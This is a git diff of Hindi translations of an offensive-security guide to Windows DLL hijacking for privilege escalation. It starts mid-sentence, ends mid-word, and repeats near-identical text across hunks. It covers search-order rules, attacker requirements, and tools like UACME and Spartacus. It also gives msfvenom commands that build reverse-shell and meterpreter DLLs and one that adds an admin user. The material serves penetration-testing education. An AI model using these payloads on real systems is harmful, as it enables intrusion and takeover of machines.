करने के लिए कोई फ़ंक्शन नहीं है, लेकिन इसे खोजा जाता है। (_C:\Windows\System_) -4. Windows निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) फ़ंक्शन का उपयोग करें। (_C:\Windows_) +4. Windows निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) फ़ंक्शन का उपयोग करें।\ +1. (_C:\Windows_) 5. वर्तमान निर्देशिका। 6. PATH पर्यावरण चर में सूचीबद्ध निर्देशिकाएँ। ध्यान दें कि इसमें **App Paths** रजिस्ट्री कुंजी द्वारा निर्दिष्ट प्रति-एप्लिकेशन पथ शामिल नहीं है। DLL खोज पथ की गणना करते समय **App Paths** कुंजी का उपयोग नहीं किया जाता है। -यह **डिफ़ॉल्ट** खोज क्रम है जब **SafeDllSearchMode** सक्षम है। जब इसे अक्षम किया जाता है तो वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाती है। इस सुविधा को अक्षम करने के लिए, **H +यह **डिफ़ॉल्ट** खोज क्रम है जब **SafeDllSearchMode** सक्षम है। जब इसे अक्षम किया जाता है तो वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाती है। इस सुविधा को अक्षम करने के लिए, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** रजिस्ट्री मान बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम है)। + +यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन को **LOAD_WITH_ALTERED_SEARCH_PATH** के साथ कॉल किया जाता है तो खोज उस निर्देशिका में शुरू होती है जिसमें निष्पादन योग्य मॉड्यूल है जिसे **LoadLibraryEx** लोड कर रहा है। + +अंत में, ध्यान दें कि **एक dll को केवल नाम के बजाय पूर्ण पथ निर्दिष्ट करते हुए लोड किया जा सकता है**। उस मामले में वह dll **केवल उस पथ में खोजा जाएगा** (यदि dll की कोई निर्भरताएँ हैं, तो उन्हें केवल नाम से लोड किया गया माना जाएगा)। + +खोज क्रम को बदलने के अन्य तरीके हैं लेकिन मैं उन्हें यहाँ समझाने नहीं जा रहा हूँ। + +#### Exceptions on dll search order from Windows docs + +Windows दस्तावेज़ में मानक DLL खोज क्रम के लिए कुछ अपवाद नोट किए गए हैं: + +- जब एक **DLL जिसका नाम पहले से मेमोरी में लोड किए गए एक के साथ मेल खाता है** का सामना किया जाता है, तो सिस्टम सामान्य खोज को बायपास करता है। इसके बजाय, यह पहले रीडायरेक्शन और एक मैनिफेस्ट के लिए जांच करता है और फिर मेमोरी में पहले से मौजूद DLL पर लौटता है। **इस परिदृश्य में, सिस्टम DLL के लिए खोज नहीं करता है**। +- उन मामलों में जहां DLL को वर्तमान Windows संस्करण के लिए **ज्ञात DLL** के रूप में पहचाना जाता है, सिस्टम ज्ञात DLL के अपने संस्करण का उपयोग करेगा, साथ ही इसकी किसी भी निर्भर DLLs का, **खोज प्रक्रिया को छोड़ते हुए**। रजिस्ट्री कुंजी **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** इन ज्ञात DLLs की एक सूची रखती है। +- यदि एक **DLL में निर्भरताएँ हैं**, तो इन निर्भर DLLs की खोज इस तरह की जाती है जैसे कि उन्हें केवल उनके **मॉड्यूल नामों** द्वारा निर्दिष्ट किया गया हो, चाहे प्रारंभिक DLL को पूर्ण पथ के माध्यम से पहचाना गया हो या नहीं। + +### Escalating Privileges + +**Requirements**: + +- एक प्रक्रिया की पहचान करें जो **विभिन्न विशेषाधिकारों** (क्षैतिज या पार्श्व आंदोलन) के तहत कार्य करती है या करेगी, जो **एक DLL** की **कमी** है। +- सुनिश्चित करें कि **किसी भी निर्देशिका** के लिए **लिखने की अनुमति** उपलब्ध है जिसमें **DLL** के लिए **खोज की जाएगी**। यह स्थान निष्पादन योग्य का निर्देशिका या सिस्टम पथ के भीतर एक निर्देशिका हो सकता है। + +हाँ, आवश्यकताएँ खोजना जटिल हैं क्योंकि **डिफ़ॉल्ट रूप से यह अजीब है कि एक विशेषाधिकार प्राप्त निष्पादन योग्य में एक dll की कमी हो** और यह और भी **अजीब है कि एक सिस्टम पथ फ़ोल्डर पर लिखने की अनुमति हो** (आप डिफ़ॉल्ट रूप से नहीं कर सकते)। लेकिन, गलत कॉन्फ़िगर किए गए वातावरण में यह संभव है।\ +यदि आप भाग्यशाली हैं और आप आवश्यकताओं को पूरा करते हैं, तो आप [UACME](https://github.com/hfiref0x/UACME) प्रोजेक्ट की जांच कर सकते हैं। भले ही **प्रोजेक्ट का मुख्य लक्ष्य UAC को बायपास करना है**, आप वहां एक **PoC** पा सकते हैं जो Windows संस्करण के लिए DLL हाइजैकिंग के लिए है जिसका आप उपयोग कर सकते हैं (संभवतः केवल उस फ़ोल्डर के पथ को बदलकर जहां आपके पास लिखने की अनुमति है)। + +ध्यान दें कि आप **एक फ़ोल्डर में अपनी अनुमतियों की जांच कर सकते हैं**: ```bash accesschk.exe -dqv "C:\Python27" icacls "C:\Python27" @@ -80,16 +107,16 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ### Example -यदि आप एक शोषण योग्य परिदृश्य पाते हैं, तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक होगा **एक dll बनाना जो कम से कम सभी कार्यों को निर्यात करता है जो निष्पादन योग्य इसे आयात करेगा**। किसी भी तरह, ध्यान दें कि Dll Hijacking उपयोगी है ताकि [मध्यम इंटीग्रिटी स्तर से उच्च **(UAC को बायपास करते हुए)**](../authentication-credentials-uac-and-efs.md#uac) या [**उच्च इंटीग्रिटी से SYSTEM**](#from-high-integrity-to-system)**।** आप इस dll hijacking अध्ययन में **एक मान्य dll कैसे बनाएं** का उदाहरण पा सकते हैं जो निष्पादन के लिए dll hijacking पर केंद्रित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**।**\ -इसके अलावा, **अगले अनुभाग** में आप कुछ **बुनियादी dll कोड** पा सकते हैं जो **टेम्पलेट** के रूप में या **निष्क्रिय कार्यों के साथ एक dll बनाने** के लिए उपयोगी हो सकते हैं। +यदि आप एक शोषण योग्य परिदृश्य पाते हैं, तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक होगा **एक dll बनाना जो कम से कम सभी कार्यों को निर्यात करता है जिन्हें निष्पादन योग्य इससे आयात करेगा**। किसी भी तरह, ध्यान दें कि Dll Hijacking उपयोगी है ताकि [मध्यम इंटीग्रिटी स्तर से उच्च **(UAC को बायपास करते हुए)**](../authentication-credentials-uac-and-efs.md#uac) या [**उच्च इंटीग्रिटी से SYSTEM**](#from-high-integrity-to-system)**।** आप इस dll hijacking अध्ययन में **एक मान्य dll कैसे बनाएं** का उदाहरण पा सकते हैं जो निष्पादन के लिए dll hijacking पर केंद्रित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**।**\ +इसके अलावा, **अगले अनुभाग** में आप कुछ **बुनियादी dll कोड** पा सकते हैं जो **टेम्पलेट** के रूप में या **निष्पादित कार्यों के बिना निर्यात किए गए dll बनाने** के लिए उपयोगी हो सकते हैं। ## **Creating and compiling Dlls** ### **Dll Proxifying** -बुनियादी रूप से एक **Dll proxy** एक Dll है जो **लोड होने पर आपके दुर्भावनापूर्ण कोड को निष्पादित** करने में सक्षम है लेकिन साथ ही **प्रदर्शित** और **काम** करने के लिए **वास्तविक पुस्तकालय** को सभी कॉल को रिले करके **निर्धारित** किया गया है। +बुनियादी रूप से एक **Dll proxy** एक Dll है जो **लोड होने पर आपके दुर्भावनापूर्ण कोड को निष्पादित करने में सक्षम है** लेकिन साथ ही **प्रदर्शित** और **काम** करने के लिए **वास्तविक पुस्तकालय** को सभी कॉल को रिले करके **निर्धारित** किया गया है। -उपकरण [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) या [**Spartacus**](https://github.com/Accenture/Spartacus) के साथ आप वास्तव में **एक निष्पादन योग्य फ़ाइल निर्दिष्ट कर सकते हैं और उस पुस्तकालय का चयन कर सकते हैं** जिसे आप प्रॉक्सी बनाना चाहते हैं और **एक प्रॉक्सी की गई dll उत्पन्न करें** या **Dll निर्दिष्ट करें** और **एक प्रॉक्सी की गई dll उत्पन्न करें**। +उपकरण [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) या [**Spartacus**](https://github.com/Accenture/Spartacus) के साथ, आप वास्तव में **एक निष्पादन योग्य फ़ाइल निर्दिष्ट कर सकते हैं और उस पुस्तकालय का चयन कर सकते हैं** जिसे आप प्रॉक्सी बनाना चाहते हैं और **एक प्रॉक्सी किया गया dll उत्पन्न करें** या **Dll निर्दिष्ट करें** और **एक प्रॉक्सी किया गया dll उत्पन्न करें**। ### **Meterpreter** @@ -97,7 +124,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` -**एक मीटरप्रेटर प्राप्त करें (x86):** +**एक मीटरप्रीटर प्राप्त करें (x86):** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` @@ -105,9 +132,9 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dl ``` msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` -### आपका खुद का +### आपका अपना -ध्यान दें कि कई मामलों में, Dll जिसे आप संकलित करते हैं, उसे **कई फ़ंक्शन निर्यात** करने चाहिए जो पीड़ित प्रक्रिया द्वारा लोड किए जाएंगे, यदि ये फ़ंक्शन मौजूद नहीं हैं तो **बाइनरी उन्हें लोड करने में असमर्थ होगी** और **शोषण विफल हो जाएगा**। +ध्यान दें कि कई मामलों में, Dll जिसे आप संकलित करते हैं, उसे **कई फ़ंक्शन निर्यात** करने चाहिए जो पीड़ित प्रक्रिया द्वारा लोड किए जाएंगे, यदि ये फ़ंक्शन मौजूद नहीं हैं तो **बाइनरी उन्हें लोड नहीं कर पाएगी** और **शोषण विफल हो जाएगा**। ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index 0e7fe1bc7..8c8d35bc0 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -5,15 +5,15 @@ ## Basic Information -DLL Hijacking एक विश्वसनीय एप्लिकेशन को एक दुर्भावनापूर्ण DLL लोड करने के लिए हेरफेर करने में शामिल है। यह शब्द कई रणनीतियों को शामिल करता है जैसे **DLL Spoofing, Injection, और Side-Loading**। इसका मुख्य उपयोग कोड निष्पादन, स्थिरता प्राप्त करने, और, कम सामान्यतः, विशेषाधिकार वृद्धि के लिए किया जाता है। यहाँ वृद्धि पर ध्यान केंद्रित करने के बावजूद, हाइजैकिंग की विधि उद्देश्यों के बीच समान रहती है। +DLL Hijacking एक विश्वसनीय एप्लिकेशन को एक दुर्भावनापूर्ण DLL लोड करने के लिए हेरफेर करने में शामिल है। यह शब्द कई रणनीतियों को शामिल करता है जैसे **DLL Spoofing, Injection, और Side-Loading**। इसका मुख्य उपयोग कोड निष्पादन, स्थिरता प्राप्त करने, और, कम सामान्यतः, विशेषाधिकार वृद्धि के लिए किया जाता है। यहाँ वृद्धि पर ध्यान केंद्रित होने के बावजूद, हाइजैकिंग की विधि उद्देश्यों के बीच समान रहती है। ### Common Techniques DLL हाइजैकिंग के लिए कई विधियों का उपयोग किया जाता है, प्रत्येक की प्रभावशीलता एप्लिकेशन के DLL लोडिंग रणनीति पर निर्भर करती है: -1. **DLL Replacement**: एक असली DLL को एक दुर्भावनापूर्ण DLL के साथ बदलना, वैकल्पिक रूप से DLL Proxying का उपयोग करके असली DLL की कार्यक्षमता को बनाए रखना। +1. **DLL Replacement**: एक असली DLL को एक दुर्भावनापूर्ण DLL के साथ बदलना, वैकल्पिक रूप से DLL Proxying का उपयोग करके मूल DLL की कार्यक्षमता को बनाए रखना। 2. **DLL Search Order Hijacking**: दुर्भावनापूर्ण DLL को एक खोज पथ में वैध DLL से पहले रखना, एप्लिकेशन के खोज पैटर्न का लाभ उठाना। -3. **Phantom DLL Hijacking**: एक दुर्भावनापूर्ण DLL बनाना जिसे एक एप्लिकेशन लोड करेगा, यह सोचते हुए कि यह एक गैर-मौजूद आवश्यक DLL है। +3. **Phantom DLL Hijacking**: एक दुर्भावनापूर्ण DLL बनाना जिसे एक एप्लिकेशन लोड करेगा, यह सोचकर कि यह एक गैर-मौजूद आवश्यक DLL है। 4. **DLL Redirection**: खोज पैरामीटर जैसे `%PATH%` या `.exe.manifest` / `.exe.local` फ़ाइलों को संशोधित करना ताकि एप्लिकेशन को दुर्भावनापूर्ण DLL की ओर निर्देशित किया जा सके। 5. **WinSxS DLL Replacement**: WinSxS निर्देशिका में वैध DLL को एक दुर्भावनापूर्ण समकक्ष के साथ प्रतिस्थापित करना, यह विधि अक्सर DLL साइड-लोडिंग से जुड़ी होती है। 6. **Relative Path DLL Hijacking**: उपयोगकर्ता-नियंत्रित निर्देशिका में दुर्भावनापूर्ण DLL रखना जिसमें कॉपी की गई एप्लिकेशन होती है, जो Binary Proxy Execution तकनीकों के समान होती है। @@ -31,52 +31,52 @@ DLL हाइजैकिंग के लिए कई विधियों ![](<../../../images/image (153).png>) यदि आप **सामान्य रूप से गायब dlls** की तलाश कर रहे हैं तो आप इसे कुछ **सेकंड** के लिए चलने दें।\ -यदि आप एक **विशिष्ट निष्पादन योग्य के अंदर गायब dll** की तलाश कर रहे हैं तो आपको **"Process Name" "contains" "\"** जैसे **दूसरे फ़िल्टर** को सेट करना चाहिए, इसे निष्पादित करें, और घटनाओं को कैप्चर करना बंद करें। +यदि आप एक **विशिष्ट निष्पादन योग्य के अंदर एक गायब dll** की तलाश कर रहे हैं तो आपको **"Process Name" "contains" "\"** जैसे **दूसरे फ़िल्टर** को सेट करना चाहिए, इसे निष्पादित करें, और घटनाओं को कैप्चर करना बंद करें। ## Exploiting Missing Dlls -विशेषाधिकार बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम **एक dll लिख सकें जिसे एक विशेषाधिकार प्रक्रिया लोड करने की कोशिश करेगी** कुछ **स्थान पर जहां इसे खोजा जाएगा**। इसलिए, हम एक **फोल्डर** में **dll लिखने में सक्षम होंगे** जहां **dll पहले खोजा जाता है** उस फोल्डर से पहले जहां **मूल dll** है (अजीब मामला), या हम किसी फोल्डर में **लिखने में सक्षम होंगे जहां dll खोजा जाएगा** और मूल **dll किसी भी फोल्डर में मौजूद नहीं है**। +विशेषाधिकार बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम **एक dll लिख सकें जिसे एक विशेषाधिकार प्राप्त प्रक्रिया लोड करने की कोशिश करेगी** कुछ **स्थान पर जहां इसे खोजा जाएगा**। इसलिए, हम **एक फ़ोल्डर में dll लिखने में सक्षम होंगे** जहां **dll पहले खोजा जाता है** उस फ़ोल्डर से पहले जहां **मूल dll** है (अजीब मामला), या हम **किसी फ़ोल्डर में लिखने में सक्षम होंगे जहां dll खोजा जाएगा** और मूल **dll किसी भी फ़ोल्डर में मौजूद नहीं है**। ### Dll Search Order **Microsoft दस्तावेज़ के अंदर** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **आप देख सकते हैं कि DLLs को विशेष रूप से कैसे लोड किया जाता है।** -**Windows एप्लिकेशन** DLLs की खोज एक सेट के अनुसार करते हैं **पूर्व-निर्धारित खोज पथ**, एक विशेष अनुक्रम का पालन करते हुए। DLL हाइजैकिंग की समस्या तब उत्पन्न होती है जब एक हानिकारक DLL इन निर्देशिकाओं में से एक में रणनीतिक रूप से रखा जाता है, यह सुनिश्चित करते हुए कि इसे प्रामाणिक DLL से पहले लोड किया जाए। इसे रोकने के लिए एक समाधान यह है कि एप्लिकेशन को आवश्यक DLLs का संदर्भ देते समय पूर्ण पथ का उपयोग करना चाहिए। +**Windows एप्लिकेशन** DLLs की खोज एक सेट के अनुसार करते हैं **पूर्व-निर्धारित खोज पथ**, एक विशेष अनुक्रम का पालन करते हुए। DLL हाइजैकिंग की समस्या तब उत्पन्न होती है जब एक हानिकारक DLL इन निर्देशिकाओं में से एक में रणनीतिक रूप से रखा जाता है, यह सुनिश्चित करते हुए कि इसे प्रामाणिक DLL से पहले लोड किया जाए। इसे रोकने के लिए एक समाधान यह है कि सुनिश्चित करें कि एप्लिकेशन आवश्यक DLLs का उल्लेख करते समय पूर्ण पथ का उपयोग करता है। आप 32-बिट सिस्टम पर **DLL खोज क्रम** नीचे देख सकते हैं: 1. वह निर्देशिका जिससे एप्लिकेशन लोड हुआ। 2. सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) फ़ंक्शन का उपयोग करें।(_C:\Windows\System32_) 3. 16-बिट सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए कोई फ़ंक्शन नहीं है, लेकिन इसे खोजा जाता है। (_C:\Windows\System_) -4. Windows निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) फ़ंक्शन का उपयोग करें।(_C:\Windows_) +4. Windows निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) फ़ंक्शन का उपयोग करें। (_C:\Windows_) 5. वर्तमान निर्देशिका। 6. PATH पर्यावरण चर में सूचीबद्ध निर्देशिकाएँ। ध्यान दें कि इसमें **App Paths** रजिस्ट्री कुंजी द्वारा निर्दिष्ट प्रति-एप्लिकेशन पथ शामिल नहीं है। DLL खोज पथ की गणना करते समय **App Paths** कुंजी का उपयोग नहीं किया जाता है। -यह **डिफ़ॉल्ट** खोज क्रम है जब **SafeDllSearchMode** सक्षम है। जब इसे अक्षम किया जाता है, तो वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाती है। इस सुविधा को अक्षम करने के लिए, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** रजिस्ट्री मान बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम है)। +यह **डिफ़ॉल्ट** खोज क्रम है जब **SafeDllSearchMode** सक्षम है। जब इसे अक्षम किया जाता है तो वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाती है। इस सुविधा को अक्षम करने के लिए, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** रजिस्ट्री मान बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम है)। -यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन को **LOAD_WITH_ALTERED_SEARCH_PATH** के साथ कॉल किया जाता है, तो खोज उस निर्देशिका में शुरू होती है जिसमें निष्पादन योग्य मॉड्यूल है जिसे **LoadLibraryEx** लोड कर रहा है। +यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन को **LOAD_WITH_ALTERED_SEARCH_PATH** के साथ कॉल किया जाता है तो खोज उस निर्देशिका में शुरू होती है जिसमें निष्पादन योग्य मॉड्यूल है जिसे **LoadLibraryEx** लोड कर रहा है। -अंत में, ध्यान दें कि **एक dll को केवल नाम के बजाय पूर्ण पथ को इंगित करते हुए लोड किया जा सकता है**। उस मामले में वह dll **केवल उस पथ में खोजा जाएगा** (यदि dll की कोई निर्भरताएँ हैं, तो उन्हें केवल नाम से लोड किया गया माना जाएगा)। +अंत में, ध्यान दें कि **एक dll को केवल नाम के बजाय पूर्ण पथ निर्दिष्ट करते हुए लोड किया जा सकता है**। उस मामले में वह dll **केवल उस पथ में खोजा जाएगा** (यदि dll की कोई निर्भरताएँ हैं, तो उन्हें केवल नाम से लोड किया गया माना जाएगा)। खोज क्रम को बदलने के अन्य तरीके हैं लेकिन मैं उन्हें यहाँ समझाने नहीं जा रहा हूँ। #### Exceptions on dll search order from Windows docs -Windows दस्तावेज़ में मानक DLL खोज क्रम के कुछ अपवाद नोट किए गए हैं: +Windows दस्तावेज़ में मानक DLL खोज क्रम के लिए कुछ अपवाद नोट किए गए हैं: -- जब एक **DLL जिसका नाम पहले से मेमोरी में लोड किए गए एक DLL के साथ मेल खाता है** का सामना किया जाता है, तो सिस्टम सामान्य खोज को बायपास करता है। इसके बजाय, यह रीडायरेक्शन और एक मैनिफेस्ट के लिए जांच करता है और फिर मेमोरी में पहले से मौजूद DLL पर लौटता है। **इस परिदृश्य में, सिस्टम DLL के लिए खोज नहीं करता है**। -- उन मामलों में जहां DLL को वर्तमान Windows संस्करण के लिए **ज्ञात DLL** के रूप में पहचाना जाता है, सिस्टम ज्ञात DLL के अपने संस्करण का उपयोग करेगा, साथ ही इसके किसी भी निर्भर DLLs का, **खोज प्रक्रिया को छोड़ते हुए**। रजिस्ट्री कुंजी **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** इन ज्ञात DLLs की एक सूची रखती है। -- यदि एक **DLL में निर्भरताएँ हैं**, तो इन निर्भर DLLs की खोज इस तरह की जाती है जैसे कि उन्हें केवल उनके **मॉड्यूल नामों** द्वारा इंगित किया गया हो, चाहे प्रारंभिक DLL को पूर्ण पथ के माध्यम से पहचाना गया हो या नहीं। +- जब एक **DLL जिसका नाम पहले से मेमोरी में लोड की गई एक DLL के साथ मेल खाता है** का सामना किया जाता है, तो सिस्टम सामान्य खोज को बायपास करता है। इसके बजाय, यह पहले पुनर्निर्देशन और एक मैनिफेस्ट के लिए जांच करता है और फिर मेमोरी में पहले से मौजूद DLL पर लौटता है। **इस परिदृश्य में, सिस्टम DLL के लिए खोज नहीं करता है**। +- उन मामलों में जहां DLL को वर्तमान Windows संस्करण के लिए **ज्ञात DLL** के रूप में पहचाना जाता है, सिस्टम ज्ञात DLL के अपने संस्करण का उपयोग करेगा, साथ ही इसकी किसी भी निर्भर DLLs के लिए, **खोज प्रक्रिया को छोड़ते हुए**। रजिस्ट्री कुंजी **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** इन ज्ञात DLLs की एक सूची रखती है। +- यदि एक **DLL की निर्भरताएँ हैं**, तो इन निर्भर DLLs की खोज इस तरह की जाती है जैसे कि उन्हें केवल उनके **मॉड्यूल नामों** द्वारा निर्दिष्ट किया गया हो, चाहे प्रारंभिक DLL को पूर्ण पथ के माध्यम से पहचाना गया हो या नहीं। ### Escalating Privileges **Requirements**: - एक प्रक्रिया की पहचान करें जो **विभिन्न विशेषाधिकारों** (क्षैतिज या पार्श्व आंदोलन) के तहत कार्य करती है या करेगी, जो **एक DLL** की कमी है। -- सुनिश्चित करें कि **किसी भी** निर्देशिका में **लिखने की अनुमति** उपलब्ध है जिसमें **DLL** के लिए **खोज की जाएगी**। यह स्थान निष्पादन योग्य का निर्देशिका या सिस्टम पथ के भीतर एक निर्देशिका हो सकता है। +- सुनिश्चित करें कि **किसी भी निर्देशिका** के लिए **लेखन पहुंच** उपलब्ध है जिसमें **DLL** के लिए **खोज की जाएगी**। यह स्थान निष्पादन योग्य का निर्देशिका या सिस्टम पथ के भीतर एक निर्देशिका हो सकता है। -हाँ, आवश्यकताएँ खोजना जटिल हैं क्योंकि **डिफ़ॉल्ट रूप से यह अजीब है कि एक विशेषाधिकार प्राप्त निष्पादन योग्य में एक dll की कमी हो** और यह और भी **अजीब है कि एक सिस्टम पथ फ़ोल्डर पर लिखने की अनुमति हो** (आप डिफ़ॉल्ट रूप से नहीं कर सकते)। लेकिन, गलत कॉन्फ़िगर किए गए वातावरण में यह संभव है।\ -यदि आप भाग्यशाली हैं और आप आवश्यकताओं को पूरा करते हैं, तो आप [UACME](https://github.com/hfiref0x/UACME) प्रोजेक्ट की जांच कर सकते हैं। भले ही **प्रोजेक्ट का मुख्य लक्ष्य UAC को बायपास करना है**, आप वहां एक **PoC** पा सकते हैं जो Windows संस्करण के लिए DLL हाइजैकिंग के लिए है जिसका आप उपयोग कर सकते हैं (संभवतः केवल उस फ़ोल्डर के पथ को बदलकर जहां आपके पास लिखने की अनुमति है)। +हाँ, आवश्यकताएँ खोजना जटिल हैं क्योंकि **डिफ़ॉल्ट रूप से यह अजीब है कि एक विशेषाधिकार प्राप्त निष्पादन योग्य में एक dll की कमी हो** और यह और भी **अजीब है कि एक सिस्टम पथ फ़ोल्डर पर लेखन अनुमतियाँ हों** (आप डिफ़ॉल्ट रूप से नहीं कर सकते)। लेकिन, गलत कॉन्फ़िगर किए गए वातावरण में यह संभव है।\ +यदि आप भाग्यशाली हैं और आप आवश्यकताओं को पूरा करते हैं, तो आप [UACME](https://github.com/hfiref0x/UACME) प्रोजेक्ट की जांच कर सकते हैं। भले ही **प्रोजेक्ट का मुख्य लक्ष्य UAC को बायपास करना है**, आप वहां एक **PoC** पा सकते हैं जो Windows संस्करण के लिए DLL हाइजैकिंग के लिए है जिसका आप उपयोग कर सकते हैं (संभवतः केवल उस फ़ोल्डर के पथ को बदलकर जहां आपके पास लेखन अनुमतियाँ हैं)। ध्यान दें कि आप **एक फ़ोल्डर में अपनी अनुमतियों की जांच कर सकते हैं**: ```bash @@ -92,33 +92,33 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` -एक पूर्ण गाइड के लिए कि कैसे **Dll Hijacking का दुरुपयोग करके विशेषाधिकार बढ़ाना है** जिसमें **System Path folder** में लिखने की अनुमति है, देखें: +For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check: {{#ref}} writable-sys-path-+dll-hijacking-privesc.md {{#endref}} -### स्वचालित उपकरण +### Automated tools -[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) यह जांचेगा कि क्या आपके पास सिस्टम PATH के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है।\ +[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)यह जांचेगा कि क्या आपके पास सिस्टम PATH के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है।\ इस भेद्यता का पता लगाने के लिए अन्य दिलचस्प स्वचालित उपकरण हैं **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ और _Write-HijackDll._ -### उदाहरण +### Example -यदि आप एक शोषण योग्य परिदृश्य पाते हैं, तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक होगा **एक dll बनाना जो कम से कम सभी कार्यों को निर्यात करता है जिन्हें निष्पादन योग्य इससे आयात करेगा**। किसी भी तरह, ध्यान दें कि Dll Hijacking उपयोगी है ताकि [मध्यम अखंडता स्तर से उच्च **(UAC को बायपास करते हुए)**](../../authentication-credentials-uac-and-efs/index.html#uac) या [**उच्च अखंडता से SYSTEM**](../index.html#from-high-integrity-to-system)** में बढ़ाया जा सके।** आप इस dll hijacking अध्ययन में **एक मान्य dll कैसे बनाएं** का उदाहरण पा सकते हैं जो निष्पादन के लिए dll hijacking पर केंद्रित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**।**\ -इसके अलावा, **अगले अनुभाग** में आप कुछ **बुनियादी dll कोड** पा सकते हैं जो **टेम्पलेट** के रूप में या **निर्यातित गैर आवश्यक कार्यों के साथ dll बनाने** के लिए उपयोगी हो सकते हैं। +यदि आप एक exploitable scenario पाते हैं, तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक होगा **एक dll बनाना जो कम से कम सभी कार्यों को निर्यात करता है जो executable इससे आयात करेगा**। किसी भी तरह, ध्यान दें कि Dll Hijacking उपयोगी है ताकि [Medium Integrity level से High **(UAC को बायपास करते हुए)**](../../authentication-credentials-uac-and-efs/index.html#uac) या [**High Integrity से SYSTEM**](../index.html#from-high-integrity-to-system)**।** आप इस dll hijacking अध्ययन में **एक मान्य dll कैसे बनाएं** का उदाहरण पा सकते हैं जो निष्पादन के लिए dll hijacking पर केंद्रित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**।**\ +इसके अलावा, **अगले अनुभाग** में आप कुछ **बुनियादी dll कोड** पा सकते हैं जो **टेम्पलेट** के रूप में या **गैर 